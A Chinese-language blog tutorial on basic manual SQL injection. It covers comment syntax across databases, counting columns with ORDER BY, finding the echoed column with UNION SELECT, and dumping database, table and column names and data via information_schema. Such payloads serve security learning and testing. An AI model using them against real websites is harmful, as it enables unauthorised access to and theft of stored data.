基础的sql手工注入

# 目录
[TOC]
# 基础的sql手工注入

## 注 一些敏感的url编码

```
空格 %20
'   %27
#   %23
\   %5C
```

## 找到注入点

通过源码审计，模糊测试，一些绕过等方法来找到注入点，这里暂时不详细讲了

## 注入步骤

例如一条语句

`select $_POST["name"] form xxx;`

### 一、通过注释让后面的代码失效

注释掉之后，就不会报错了

#### Oracle

```
REM单行注释

-- 单行注释

/*多行注释*/ 
```

#### MS QL Server

```
-- 单行注释

/*多行注释*/ 
```

#### MySQL

```
#单行注释

-- 单行注释（特别注意，-- 后有个空格！！！）

/*多行注释*/ 
```

### 二、通过order by 判断列数

例如：

```sql
select 'aa' order by 1 -- form xxx;
显示正常
select 'aa' order by 2 -- form xxx;
显示正常
select 'aa' order by 3 -- form xxx;
报错
```

报错得列数为2

### 三、通过union select联合查询找到回显点

通过之前获取的列数来进行查询1,2列

```sql
select 'aa' union select 1,2 -- form xxx;
显示2
```

显示2说明2那个参数就是会回显的点

### 四、注入

现在就可以在回显点进行注入了

```sql
select 'aa' union select 1,database() -- form xxx;
显示数据库名

select 'aa' union select 1,table_name from information_schema.tables where table_schema=database() -- form xxx;
显示表名

select 'aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- form xxx;
显示全部表名

select 'aa' union select 1,group_concat(column_name) from information_schema.columns where table_name=表名 -- form xxx;
显示全部列名 表名可能需要转码 在sqlmap中，这个参数就可以转码--hex

select 'aa' union select 1,group_concat(列名) from information_schema.columns where table_name=表名 -- form xxx;
显示列下数据
```

一	二	三	四	五	六	日
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29
30

村口曹师傅

欢迎来到秘境

sql注入 网络安全

基础的sql手工注入

村口曹师傅发表于2020-07-10 10:47:32 浏览1951 评论0

少长咸集

群贤毕至

欢迎来到秘境

sql注入 网络安全

基础的sql手工注入

村口曹师傅 发表于2020-07-10 10:47:32 浏览1951 评论0

少长咸集

群贤毕至

sql注入网络安全

村口曹师傅发表于2020-07-10 10:47:32 浏览1951 评论0